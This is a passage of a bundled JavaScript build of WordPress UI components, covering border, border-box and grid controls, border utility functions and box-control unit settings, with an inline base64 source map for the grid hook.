33662 onWidthChange,
33663 placeholder,
33664 __unstablePopoverProps,
33665 previousStyleSelection,
33666 showDropdownHeader,
33667 size: size3,
33668 sliderClassName,
33669 value: border,
33670 widthUnit,
33671 widthValue,
33672 withSlider,
33673 __experimentalIsRenderedInSidebar,
33674 ...otherProps
33675 } = useBorderControl(props);
33676 return /* @__PURE__ */ (0, import_jsx_runtime150.jsxs)(component_default, {
33677 as: "fieldset",
33678 ...otherProps,
33679 ref: forwardedRef,
33680 children: [/* @__PURE__ */ (0, import_jsx_runtime150.jsx)(BorderLabel, {
33681 label,
33682 hideLabelFromVision
33683 }), /* @__PURE__ */ (0, import_jsx_runtime150.jsxs)(component_default9, {
33684 spacing: 4,
33685 className: innerWrapperClassName,
33686 children: [/* @__PURE__ */ (0, import_jsx_runtime150.jsx)(unit_control_default, {
33687 __next40pxDefaultSize,
33688 __shouldNotWarnDeprecated36pxSize: true,
33689 prefix: /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(component_default6, {
33690 marginRight: 1,
33691 marginBottom: 0,
33692 children: /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(component_default20, {
33693 border,
33694 colors,
33695 __unstablePopoverProps,
33696 disableCustomColors,
33697 enableAlpha,
33698 enableStyle,
33699 isStyleSettable,
33700 onChange: onBorderChange,
33701 previousStyleSelection,
33702 __experimentalIsRenderedInSidebar,
33703 size: size3
33704 })
33705 }),
33706 label: (0, import_i18n24.__)("Border width"),
33707 hideLabelFromVision: true,
33708 min: 0,
33709 onChange: onWidthChange,
33710 value: border?.width || "",
33711 placeholder,
33712 disableUnits,
33713 __unstableInputWidth: inputWidth,
33714 size: size3
33715 }), withSlider && /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(range_control_default, {
33716 label: (0, import_i18n24.__)("Border width"),
33717 hideLabelFromVision: true,
33718 className: sliderClassName,
33719 initialPosition: 0,
33720 max: 100,
33721 min: 0,
33722 onChange: onSliderChange,
33723 step: ["px", "%"].includes(widthUnit) ? 1 : 0.1,
33724 value: widthValue || void 0,
33725 withInputField: false,
33726 __next40pxDefaultSize,
33727 __shouldNotWarnDeprecated36pxSize: true
33728 })]
33729 })]
33730 });
33731 };
33732 var BorderControl = contextConnect(UnconnectedBorderControl, "BorderControl");
33733 var component_default21 = BorderControl;
33734
33735 // packages/components/build-module/grid/hook.mjs
33736 var import_element87 = __toESM(require_element(), 1);
33737
33738 // packages/components/build-module/grid/utils.mjs
33739 var ALIGNMENTS2 = {
33740 bottom: {
33741 alignItems: "flex-end",
33742 justifyContent: "center"
33743 },
33744 bottomLeft: {
33745 alignItems: "flex-start",
33746 justifyContent: "flex-end"
33747 },
33748 bottomRight: {
33749 alignItems: "flex-end",
33750 justifyContent: "flex-end"
33751 },
33752 center: {
33753 alignItems: "center",
33754 justifyContent: "center"
33755 },
33756 spaced: {
33757 alignItems: "center",
33758 justifyContent: "space-between"
33759 },
33760 left: {
33761 alignItems: "center",
33762 justifyContent: "flex-start"
33763 },
33764 right: {
33765 alignItems: "center",
33766 justifyContent: "flex-end"
33767 },
33768 stretch: {
33769 alignItems: "stretch"
33770 },
33771 top: {
33772 alignItems: "flex-start",
33773 justifyContent: "center"
33774 },
33775 topLeft: {
33776 alignItems: "flex-start",
33777 justifyContent: "flex-start"
33778 },
33779 topRight: {
33780 alignItems: "flex-start",
33781 justifyContent: "flex-end"
33782 }
33783 };
33784 function getAlignmentProps2(alignment) {
33785 const alignmentProps = alignment ? ALIGNMENTS2[alignment] : {};
33786 return alignmentProps;
33787 }
33788
33789 // packages/components/build-module/grid/hook.mjs
33790 function useGrid(props) {
33791 const {
33792 align,
33793 alignment,
33794 className: className2,
33795 columnGap,
33796 columns = 2,
33797 gap = 3,
33798 isInline = false,
33799 justify,
33800 rowGap,
33801 rows,
33802 templateColumns,
33803 templateRows,
33804 ...otherProps
33805 } = useContextSystem(props, "Grid");
33806 const columnsAsArray = Array.isArray(columns) ? columns : [columns];
33807 const column2 = useResponsiveValue(columnsAsArray);
33808 const rowsAsArray = Array.isArray(rows) ? rows : [rows];
33809 const row = useResponsiveValue(rowsAsArray);
33810 const gridTemplateColumns = templateColumns || !!columns && `repeat( ${column2}, 1fr )`;
33811 const gridTemplateRows = templateRows || !!rows && `repeat( ${row}, 1fr )`;
33812 const cx3 = useCx();
33813 const classes = (0, import_element87.useMemo)(() => {
33814 const alignmentProps = getAlignmentProps2(alignment);
33815 const gridClasses = /* @__PURE__ */ css({
33816 alignItems: align,
33817 display: isInline ? "inline-grid" : "grid",
33818 gap: `calc( ${config_values_default.gridBase} * ${gap} )`,
33819 gridTemplateColumns: gridTemplateColumns || void 0,
33820 gridTemplateRows: gridTemplateRows || void 0,
33821 gridRowGap: rowGap,
33822 gridColumnGap: columnGap,
33823 justifyContent: justify,
33824 verticalAlign: isInline ? "middle" : void 0,
33825 ...alignmentProps
33826 }, false ? "" : ";label:gridClasses;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBdURzQiIsImZpbGUiOiJob29rLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgdXNlTWVtbyB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IGdldEFsaWdubWVudFByb3BzIH0gZnJvbSAnLi91dGlscyc7XG5pbXBvcnQgeyB1c2VSZXNwb25zaXZlVmFsdWUgfSBmcm9tICcuLi91dGlscy91c2UtcmVzcG9uc2l2ZS12YWx1ZSc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuaW1wb3J0IHsgdXNlQ3ggfSBmcm9tICcuLi91dGlscy9ob29rcy91c2UtY3gnO1xuaW1wb3J0IHR5cGUgeyBHcmlkUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlR3JpZChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPCBHcmlkUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0YWxpZ24sXG5cdFx0YWxpZ25tZW50LFxuXHRcdGNsYXNzTmFtZSxcblx0XHRjb2x1bW5HYXAsXG5cdFx0Y29sdW1ucyA9IDIsXG5cdFx0Z2FwID0gMyxcblx0XHRpc0lubGluZSA9IGZhbHNlLFxuXHRcdGp1c3RpZnksXG5cdFx0cm93R2FwLFxuXHRcdHJvd3MsXG5cdFx0dGVtcGxhdGVDb2x1bW5zLFxuXHRcdHRlbXBsYXRlUm93cyxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ0dyaWQnICk7XG5cblx0Y29uc3QgY29sdW1uc0FzQXJyYXkgPSBBcnJheS5pc0FycmF5KCBjb2x1bW5zICkgPyBjb2x1bW5zIDogWyBjb2x1bW5zIF07XG5cdGNvbnN0IGNvbHVtbiA9IHVzZVJlc3BvbnNpdmVWYWx1ZSggY29sdW1uc0FzQXJyYXkgKTtcblx0Y29uc3Qgcm93c0FzQXJyYXkgPSBBcnJheS5pc0FycmF5KCByb3dzICkgPyByb3dzIDogWyByb3dzIF07XG5cdGNvbnN0IHJvdyA9IHVzZVJlc3BvbnNpdmVWYWx1ZSggcm93c0FzQXJyYXkgKTtcblxuXHRjb25zdCBncmlkVGVtcGxhdGVDb2x1bW5zID1cblx0XHR0ZW1wbGF0ZUNvbHVtbnMgfHwgKCAhISBjb2x1bW5zICYmIGByZXBlYXQoICR7IGNvbHVtbiB9LCAxZnIgKWAgKTtcblx0Y29uc3QgZ3JpZFRlbXBsYXRlUm93cyA9XG5cdFx0dGVtcGxhdGVSb3dzIHx8ICggISEgcm93cyAmJiBgcmVwZWF0KCAkeyByb3cgfSwgMWZyIClgICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0Y29uc3QgYWxpZ25tZW50UHJvcHMgPSBnZXRBbGlnbm1lbnRQcm9wcyggYWxpZ25tZW50ICk7XG5cblx0XHRjb25zdCBncmlkQ2xhc3NlcyA9IGNzcygge1xuXHRcdFx0YWxpZ25JdGVtczogYWxpZ24sXG5cdFx0XHRkaXNwbGF5OiBpc0lubGluZSA/ICdpbmxpbmUtZ3JpZCcgOiAnZ3JpZCcsXG5cdFx0XHRnYXA6IGBjYWxjKCAkeyBDT05GSUcuZ3JpZEJhc2UgfSAqICR7IGdhcCB9IClgLFxuXHRcdFx0Z3JpZFRlbXBsYXRlQ29sdW1uczogZ3JpZFRlbXBsYXRlQ29sdW1ucyB8fCB1bmRlZmluZWQsXG5cdFx0XHRncmlkVGVtcGxhdGVSb3dzOiBncmlkVGVtcGxhdGVSb3dzIHx8IHVuZGVmaW5lZCxcblx0XHRcdGdyaWRSb3dHYXA6IHJvd0dhcCxcblx0XHRcdGdyaWRDb2x1bW5HYXA6IGNvbHVtbkdhcCxcblx0XHRcdGp1c3RpZnlDb250ZW50OiBqdXN0aWZ5LFxuXHRcdFx0dmVydGljYWxBbGlnbjogaXNJbmxpbmUgPyAnbWlkZGxlJyA6IHVuZGVmaW5lZCxcblx0XHRcdC4uLmFsaWdubWVudFByb3BzLFxuXHRcdH0gKTtcblxuXHRcdHJldHVybiBjeCggZ3JpZENsYXNzZXMsIGNsYXNzTmFtZSApO1xuXHR9LCBbXG5cdFx0YWxpZ24sXG5cdFx0YWxpZ25tZW50LFxuXHRcdGNsYXNzTmFtZSxcblx0XHRjb2x1bW5HYXAsXG5cdFx0Y3gsXG5cdFx0Z2FwLFxuXHRcdGdyaWRUZW1wbGF0ZUNvbHVtbnMsXG5cdFx0Z3JpZFRlbXBsYXRlUm93cyxcblx0XHRpc0lubGluZSxcblx0XHRqdXN0aWZ5LFxuXHRcdHJvd0dhcCxcblx0XSApO1xuXG5cdHJldHVybiB7IC4uLm90aGVyUHJvcHMsIGNsYXNzTmFtZTogY2xhc3NlcyB9O1xufVxuIl19 */");
33827 return cx3(gridClasses, className2);
33828 }, [align, alignment, className2, columnGap, cx3, gap, gridTemplateColumns, gridTemplateRows, isInline, justify, rowGap]);
33829 return {
33830 ...otherProps,
33831 className: classes
33832 };
33833 }
33834
33835 // packages/components/build-module/grid/component.mjs
33836 var import_jsx_runtime151 = __toESM(require_jsx_runtime(), 1);
33837 function UnconnectedGrid(props, forwardedRef) {
33838 const gridProps = useGrid(props);
33839 return /* @__PURE__ */ (0, import_jsx_runtime151.jsx)(component_default, {
33840 ...gridProps,
33841 ref: forwardedRef
33842 });
33843 }
33844 var Grid = contextConnect(UnconnectedGrid, "Grid");
33845 var component_default22 = Grid;
33846
33847 // packages/components/build-module/border-box-control/border-box-control-split-controls/hook.mjs
33848 var import_element88 = __toESM(require_element(), 1);
33849 function useBorderBoxControlSplitControls(props) {
33850 const {
33851 className: className2,
33852 colors = [],
33853 enableAlpha = false,
33854 enableStyle = true,
33855 size: size3 = "default",
33856 __experimentalIsRenderedInSidebar = false,
33857 ...otherProps
33858 } = useContextSystem(props, "BorderBoxControlSplitControls");
33859 const cx3 = useCx();
33860 const classes = (0, import_element88.useMemo)(() => {
33861 return cx3(borderBoxControlSplitControls(size3), className2);
33862 }, [cx3, className2, size3]);
33863 const centeredClassName = (0, import_element88.useMemo)(() => {
33864 return cx3(centeredBorderControl, className2);
33865 }, [cx3, className2]);
33866 const rightAlignedClassName = (0, import_element88.useMemo)(() => {
33867 return cx3(rightBorderControl(), className2);
33868 }, [cx3, className2]);
33869 return {
33870 ...otherProps,
33871 centeredClassName,
33872 className: classes,
33873 colors,
33874 enableAlpha,
33875 enableStyle,
33876 rightAlignedClassName,
33877 size: size3,
33878 __experimentalIsRenderedInSidebar
33879 };
33880 }
33881
33882 // packages/components/build-module/border-box-control/border-box-control-split-controls/component.mjs
33883 var import_jsx_runtime152 = __toESM(require_jsx_runtime(), 1);
33884 var BorderBoxControlSplitControls = (props, forwardedRef) => {
33885 const {
33886 centeredClassName,
33887 colors,
33888 disableCustomColors,
33889 enableAlpha,
33890 enableStyle,
33891 onChange,
33892 popoverPlacement,
33893 popoverOffset,
33894 rightAlignedClassName,
33895 size: size3 = "default",
33896 value,
33897 __experimentalIsRenderedInSidebar,
33898 ...otherProps
33899 } = useBorderBoxControlSplitControls(props);
33900 const [popoverAnchor, setPopoverAnchor] = (0, import_element89.useState)(null);
33901 const popoverProps = (0, import_element89.useMemo)(() => popoverPlacement ? {
33902 placement: popoverPlacement,
33903 offset: popoverOffset,
33904 anchor: popoverAnchor,
33905 shift: true
33906 } : void 0, [popoverPlacement, popoverOffset, popoverAnchor]);
33907 const sharedBorderControlProps = {
33908 colors,
33909 disableCustomColors,
33910 enableAlpha,
33911 enableStyle,
33912 isCompact: true,
33913 __experimentalIsRenderedInSidebar,
33914 size: size3,
33915 __shouldNotWarnDeprecated36pxSize: true
33916 };
33917 const mergedRef = (0, import_compose35.useMergeRefs)([setPopoverAnchor, forwardedRef]);
33918 return /* @__PURE__ */ (0, import_jsx_runtime152.jsxs)(component_default22, {
33919 ...otherProps,
33920 ref: mergedRef,
33921 gap: 3,
33922 children: [/* @__PURE__ */ (0, import_jsx_runtime152.jsx)(component_default11, {
33923 value,
33924 size: size3
33925 }), /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(component_default21, {
33926 className: centeredClassName,
33927 hideLabelFromVision: true,
33928 label: (0, import_i18n25.__)("Top border"),
33929 onChange: (newBorder) => onChange(newBorder, "top"),
33930 __unstablePopoverProps: popoverProps,
33931 value: value?.top,
33932 ...sharedBorderControlProps
33933 }), /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(component_default21, {
33934 hideLabelFromVision: true,
33935 label: (0, import_i18n25.__)("Left border"),
33936 onChange: (newBorder) => onChange(newBorder, "left"),
33937 __unstablePopoverProps: popoverProps,
33938 value: value?.left,
33939 ...sharedBorderControlProps
33940 }), /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(component_default21, {
33941 className: rightAlignedClassName,
33942 hideLabelFromVision: true,
33943 label: (0, import_i18n25.__)("Right border"),
33944 onChange: (newBorder) => onChange(newBorder, "right"),
33945 __unstablePopoverProps: popoverProps,
33946 value: value?.right,
33947 ...sharedBorderControlProps
33948 }), /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(component_default21, {
33949 className: centeredClassName,
33950 hideLabelFromVision: true,
33951 label: (0, import_i18n25.__)("Bottom border"),
33952 onChange: (newBorder) => onChange(newBorder, "bottom"),
33953 __unstablePopoverProps: popoverProps,
33954 value: value?.bottom,
33955 ...sharedBorderControlProps
33956 })]
33957 });
33958 };
33959 var ConnectedBorderBoxControlSplitControls = contextConnect(BorderBoxControlSplitControls, "BorderBoxControlSplitControls");
33960 var component_default23 = ConnectedBorderBoxControlSplitControls;
33961
33962 // packages/components/build-module/border-box-control/border-box-control/hook.mjs
33963 var import_element90 = __toESM(require_element(), 1);
33964
33965 // packages/components/build-module/utils/unit-values.mjs
33966 var UNITED_VALUE_REGEX = /^([\d.\-+]*)\s*(fr|cm|mm|Q|in|pc|pt|px|em|ex|ch|rem|lh|vw|vh|vmin|vmax|%|cap|ic|rlh|vi|vb|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx|svw|lvw|dvw|svh|lvh|dvh|svi|lvi|dvi|svb|lvb|dvb|svmin|lvmin|dvmin|svmax|lvmax|dvmax)?$/;
33967 function parseCSSUnitValue(toParse) {
33968 const value = toParse.trim();
33969 const matched = value.match(UNITED_VALUE_REGEX);
33970 if (!matched) {
33971 return [void 0, void 0];
33972 }
33973 const [, num, unit] = matched;
33974 let numParsed = parseFloat(num);
33975 numParsed = Number.isNaN(numParsed) ? void 0 : numParsed;
33976 return [numParsed, unit];
33977 }
33978
33979 // packages/components/build-module/border-box-control/utils.mjs
33980 var sides2 = ["top", "right", "bottom", "left"];
33981 var borderProps = ["color", "style", "width"];
33982 var isEmptyBorder = (border) => {
33983 if (!border) {
33984 return true;
33985 }
33986 return !borderProps.some((prop) => border[prop] !== void 0);
33987 };
33988 var isDefinedBorder = (border) => {
33989 if (!border) {
33990 return false;
33991 }
33992 if (hasSplitBorders(border)) {
33993 const allSidesEmpty = sides2.every((side) => isEmptyBorder(border[side]));
33994 return !allSidesEmpty;
33995 }
33996 return !isEmptyBorder(border);
33997 };
33998 var isCompleteBorder = (border) => {
33999 if (!border) {
34000 return false;
34001 }
34002 return borderProps.every((prop) => border[prop] !== void 0);
34003 };
34004 var hasSplitBorders = (border = {}) => {
34005 return Object.keys(border).some((side) => sides2.indexOf(side) !== -1);
34006 };
34007 var hasMixedBorders = (borders2) => {
34008 if (!hasSplitBorders(borders2)) {
34009 return false;
34010 }
34011 const shorthandBorders = sides2.map((side) => getShorthandBorderStyle(borders2?.[side]));
34012 return !shorthandBorders.every((border) => border === shorthandBorders[0]);
34013 };
34014 var getSplitBorders = (border) => {
34015 if (!border || isEmptyBorder(border)) {
34016 return void 0;
34017 }
34018 return {
34019 top: border,
34020 right: border,
34021 bottom: border,
34022 left: border
34023 };
34024 };
34025 var getBorderDiff = (original, updated) => {
34026 const diff = {};
34027 if (original.color !== updated.color) {
34028 diff.color = updated.color;
34029 }
34030 if (original.style !== updated.style) {
34031 diff.style = updated.style;
34032 }
34033 if (original.width !== updated.width) {
34034 diff.width = updated.width;
34035 }
34036 return diff;
34037 };
34038 var getCommonBorder = (borders2) => {
34039 if (!borders2) {
34040 return void 0;
34041 }
34042 const colors = [];
34043 const styles3 = [];
34044 const widths = [];
34045 sides2.forEach((side) => {
34046 colors.push(borders2[side]?.color);
34047 styles3.push(borders2[side]?.style);
34048 widths.push(borders2[side]?.width);
34049 });
34050 const allColorsMatch = colors.every((value) => value === colors[0]);
34051 const allStylesMatch = styles3.every((value) => value === styles3[0]);
34052 const allWidthsMatch = widths.every((value) => value === widths[0]);
34053 return {
34054 color: allColorsMatch ? colors[0] : void 0,
34055 style: allStylesMatch ? styles3[0] : void 0,
34056 width: allWidthsMatch ? widths[0] : getMostCommonUnit(widths)
34057 };
34058 };
34059 var getShorthandBorderStyle = (border, fallbackBorder) => {
34060 if (isEmptyBorder(border)) {
34061 return fallbackBorder;
34062 }
34063 const {
34064 color: fallbackColor,
34065 style: fallbackStyle,
34066 width: fallbackWidth
34067 } = fallbackBorder || {};
34068 const {
34069 color: color2 = fallbackColor,
34070 style: style2 = fallbackStyle,
34071 width = fallbackWidth
34072 } = border;
34073 const hasVisibleBorder = !!width && width !== "0" || !!color2;
34074 const borderStyle = hasVisibleBorder ? style2 || "solid" : style2;
34075 return [width, borderStyle, color2].filter(Boolean).join(" ");
34076 };
34077 var getMostCommonUnit = (values) => {
34078 const units = values.map((value) => value === void 0 ? void 0 : parseCSSUnitValue(`${value}`)[1]);
34079 const filteredUnits = units.filter((value) => value !== void 0);
34080 return mode(filteredUnits);
34081 };
34082 function mode(values) {
34083 if (values.length === 0) {
34084 return void 0;
34085 }
34086 const map = {};
34087 let maxCount = 0;
34088 let currentMode;
34089 values.forEach((value) => {
34090 map[value] = map[value] === void 0 ? 1 : map[value] + 1;
34091 if (map[value] > maxCount) {
34092 currentMode = value;
34093 maxCount = map[value];
34094 }
34095 });
34096 return currentMode;
34097 }
34098
34099 // packages/components/build-module/border-box-control/border-box-control/hook.mjs
34100 function useBorderBoxControl(props) {
34101 const {
34102 className: className2,
34103 colors = [],
34104 onChange,
34105 enableAlpha = false,
34106 enableStyle = true,
34107 size: size3 = "default",
34108 value,
34109 __experimentalIsRenderedInSidebar = false,
34110 __next40pxDefaultSize,
34111 ...otherProps
34112 } = useContextSystem(props, "BorderBoxControl");
34113 maybeWarnDeprecated36pxSize({
34114 componentName: "BorderBoxControl",
34115 __next40pxDefaultSize,
34116 size: size3
34117 });
34118 const computedSize = size3 === "default" && __next40pxDefaultSize ? "__unstable-large" : size3;
34119 const mixedBorders = hasMixedBorders(value);
34120 const splitBorders = hasSplitBorders(value);
34121 const linkedValue = splitBorders ? getCommonBorder(value) : value;
34122 const splitValue = splitBorders ? value : getSplitBorders(value);
34123 const hasWidthValue = !isNaN(parseFloat(`${linkedValue?.width}`));
34124 const [isLinked, setIsLinked] = (0, import_element90.useState)(!mixedBorders);
34125 const toggleLinked = () => setIsLinked(!isLinked);
34126 const onLinkedChange = (newBorder) => {
34127 if (!newBorder) {
34128 return onChange(void 0);
34129 }
34130 if (!mixedBorders || isCompleteBorder(newBorder)) {
34131 return onChange(isEmptyBorder(newBorder) ? void 0 : newBorder);
34132 }
34133 const changes = getBorderDiff(linkedValue, newBorder);
34134 const updatedBorders = {
34135 top: {
34136 ...value?.top,
34137 ...changes
34138 },
34139 right: {
34140 ...value?.right,
34141 ...changes
34142 },
34143 bottom: {
34144 ...value?.bottom,
34145 ...changes
34146 },
34147 left: {
34148 ...value?.left,
34149 ...changes
34150 }
34151 };
34152 if (hasMixedBorders(updatedBorders)) {
34153 return onChange(updatedBorders);
34154 }
34155 const filteredResult = isEmptyBorder(updatedBorders.top) ? void 0 : updatedBorders.top;
34156 onChange(filteredResult);
34157 };
34158 const onSplitChange = (newBorder, side) => {
34159 const updatedBorders = {
34160 ...splitValue,
34161 [side]: newBorder
34162 };
34163 if (hasMixedBorders(updatedBorders)) {
34164 onChange(updatedBorders);
34165 } else {
34166 onChange(newBorder);
34167 }
34168 };
34169 const cx3 = useCx();
34170 const classes = (0, import_element90.useMemo)(() => {
34171 return cx3(borderBoxControl, className2);
34172 }, [cx3, className2]);
34173 const linkedControlClassName = (0, import_element90.useMemo)(() => {
34174 return cx3(linkedBorderControl());
34175 }, [cx3]);
34176 const wrapperClassName = (0, import_element90.useMemo)(() => {
34177 return cx3(wrapper);
34178 }, [cx3]);
34179 return {
34180 ...otherProps,
34181 className: classes,
34182 colors,
34183 disableUnits: mixedBorders && !hasWidthValue,
34184 enableAlpha,
34185 enableStyle,
34186 hasMixedBorders: mixedBorders,
34187 isLinked,
34188 linkedControlClassName,
34189 onLinkedChange,
34190 onSplitChange,
34191 toggleLinked,
34192 linkedValue,
34193 size: computedSize,
34194 splitValue,
34195 wrapperClassName,
34196 __experimentalIsRenderedInSidebar
34197 };
34198 }
34199
34200 // packages/components/build-module/border-box-control/border-box-control/component.mjs
34201 var import_jsx_runtime153 = __toESM(require_jsx_runtime(), 1);
34202 var BorderLabel2 = (props) => {
34203 const {
34204 label,
34205 hideLabelFromVision
34206 } = props;
34207 if (!label) {
34208 return null;
34209 }
34210 return hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(component_default2, {
34211 as: "label",
34212 children: label
34213 }) : /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(StyledLabel, {
34214 children: label
34215 });
34216 };
34217 var UnconnectedBorderBoxControl = (props, forwardedRef) => {
34218 const {
34219 className: className2,
34220 colors,
34221 disableCustomColors,
34222 disableUnits,
34223 enableAlpha,
34224 enableStyle,
34225 hasMixedBorders: hasMixedBorders2,
34226 hideLabelFromVision,
34227 isLinked,
34228 label,
34229 linkedControlClassName,
34230 linkedValue,
34231 onLinkedChange,
34232 onSplitChange,
34233 popoverPlacement,
34234 popoverOffset,
34235 size: size3,
34236 splitValue,
34237 toggleLinked,
34238 wrapperClassName,
34239 __experimentalIsRenderedInSidebar,
34240 ...otherProps
34241 } = useBorderBoxControl(props);
34242 const [popoverAnchor, setPopoverAnchor] = (0, import_element91.useState)(null);
34243 const popoverProps = (0, import_element91.useMemo)(() => popoverPlacement ? {
34244 placement: popoverPlacement,
34245 offset: popoverOffset,
34246 anchor: popoverAnchor,
34247 shift: true
34248 } : void 0, [popoverPlacement, popoverOffset, popoverAnchor]);
34249 const mergedRef = (0, import_compose36.useMergeRefs)([setPopoverAnchor, forwardedRef]);
34250 return /* @__PURE__ */ (0, import_jsx_runtime153.jsxs)(component_default, {
34251 className: className2,
34252 ...otherProps,
34253 ref: mergedRef,
34254 children: [/* @__PURE__ */ (0, import_jsx_runtime153.jsx)(BorderLabel2, {
34255 label,
34256 hideLabelFromVision
34257 }), /* @__PURE__ */ (0, import_jsx_runtime153.jsxs)(component_default, {
34258 className: wrapperClassName,
34259 children: [isLinked ? /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(component_default21, {
34260 className: linkedControlClassName,
34261 colors,
34262 disableUnits,
34263 disableCustomColors,
34264 enableAlpha,
34265 enableStyle,
34266 onChange: onLinkedChange,
34267 placeholder: hasMixedBorders2 ? (0, import_i18n26.__)("Mixed") : void 0,
34268 __unstablePopoverProps: popoverProps,
34269 shouldSanitizeBorder: false,
34270 value: linkedValue,
34271 withSlider: true,
34272 width: size3 === "__unstable-large" ? "116px" : "110px",
34273 __experimentalIsRenderedInSidebar,
34274 __shouldNotWarnDeprecated36pxSize: true,
34275 size: size3
34276 }) : /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(component_default23, {
34277 colors,
34278 disableCustomColors,
34279 enableAlpha,
34280 enableStyle,
34281 onChange: onSplitChange,
34282 popoverPlacement,
34283 popoverOffset,
34284 value: splitValue,
34285 __experimentalIsRenderedInSidebar,
34286 size: size3
34287 }), /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(component_default10, {
34288 onClick: toggleLinked,
34289 isLinked,
34290 size: size3
34291 })]
34292 })]
34293 });
34294 };
34295 var BorderBoxControl = contextConnect(UnconnectedBorderBoxControl, "BorderBoxControl");
34296 var component_default24 = BorderBoxControl;
34297
34298 // packages/components/build-module/box-control/index.mjs
34299 var import_compose38 = __toESM(require_compose(), 1);
34300 var import_element93 = __toESM(require_element(), 1);
34301 var import_i18n30 = __toESM(require_i18n(), 1);
34302 var import_warning5 = __toESM(require_warning(), 1);
34303
34304 // packages/components/build-module/box-control/input-control.mjs
34305 var import_compose37 = __toESM(require_compose(), 1);
34306 var import_i18n28 = __toESM(require_i18n(), 1);
34307 var import_element92 = __toESM(require_element(), 1);
34308
34309 // packages/components/build-module/box-control/utils.mjs
34310 var import_i18n27 = __toESM(require_i18n(), 1);
34311 var import_deprecated9 = __toESM(require_deprecated(), 1);
34312 var CUSTOM_VALUE_SETTINGS = {
34313 px: {
34314 max: 300,
34315 step: 1
34316 },
34317 "%": {
34318 max: 100,
34319 step: 1
34320 },
34321 vw: {
34322 max: 100,
34323 step: 1
34324 },
34325 vh: {
34326 max: 100,
34327 step: 1
34328 },
34329 em: {
34330 max: 10,
34331 step: 0.1
34332 },
34333 rm: {
34334 max: 10,
34335 step: 0.1
34336 },
34337 svw: {
34338 max: 100,
34339 step: 1
34340 },
34341 lvw: {
34342 max: 100,
34343 step: 1
34344 },
34345 dvw: {
34346 max: 100,
34347 step: 1
34348 },
34349 svh: {
34350 max: 100,
34351 step: 1
34352 },
34353 lvh: {
34354 max: 100,
34355 step: 1
34356 },
34357 dvh: {
34358 max: 100,
34359 step: 1
34360 },
34361 vi: {
34362 max: 100,
34363 step: 1
34364 },
34365 svi: {
34366 max: 100,
34367 step: 1
34368 },
34369 lvi: {
34370 max: 100,
34371 step: 1
34372 },
34373 dvi: {
34374 max: 100,
34375 step: 1
34376 },
34377 vb: {
34378 max: 100,
34379 step: 1
34380 },
34381 svb: {
34382 max: 100,
34383 step: 1
34384 },
34385 lvb: {
34386 max: 100,
34387 step: 1
34388 },
34389 dvb: {
34390 max: 100,
34391 step: 1
34392 },
34393 vmin: {
34394 max: 100,
34395 step: 1
34396 },
34397 svmin: {
34398 max: 100,
34399 step: 1
34400 },
34401 lvmin: {
34402 max: 100,
34403 step: 1
34404 },
34405 dvmin: {
34406 max: 100,
34407 step: 1
34408 },
34409 vmax: {
34410 max: 100,
34411 step: 1
34412 },
34413 svmax: {
34414 max: 100,
34415 step: 1
34416 },
34417 lvmax: {
34418 max: 100,
34419 step: 1
34420 },
34421 dvmax: {
34422 max: 100,
34423 step: 1
34424 }
34425 };
34426 var LABELS = {
34427 all: (0, import_i18n27.__)("All sides"),
34428 top: (0, import_i18n27.__)("Top side"),
34429 bottom: (0, import_i18n27.__)("Bottom side"),
34430 left: (0, import_i18n27.__)("Left side"),
34431 right: (0, import_i18n27.__)("Right side"),
34432 vertical: (0, import_i18n27.__)("Top and bottom sides"),
34433 horizontal: (0, import_i18n27.__)("Left and right sides")
34434 };
34435 var DEFAULT_VALUES = {
34436 top: void 0,
34437 right: void 0,
34438 bottom: void 0,
34439 left: void 0
34440 };
34441 var ALL_SIDES = ["top", "right", "bottom", "left"];
34442 function getMergedValue(values = {}, availableSides = ALL_SIDES) {
34443 const sides3 = normalizeSides(availableSides);
34444 if (sides3.every((side) => values[side] === values[sides3[0]])) {
34445 return values[sides3[0]];
34446 }
34447 return void 0;
34448 }
34449 function isValueMixed(values = {}, availableSides = ALL_SIDES) {
34450 const sides3 = normalizeSides(availableSides);
34451 return sides3.some((side) => values[side] !== values[sides3[0]]);
34452 }
34453 function isValuesDefined(values) {
